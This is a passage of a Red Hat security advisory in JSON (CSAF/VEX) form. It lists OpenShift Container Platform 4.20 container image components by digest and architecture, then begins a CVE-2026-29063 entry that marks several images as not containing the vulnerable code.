"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-29063",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-03-06T19:00:57.982727+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
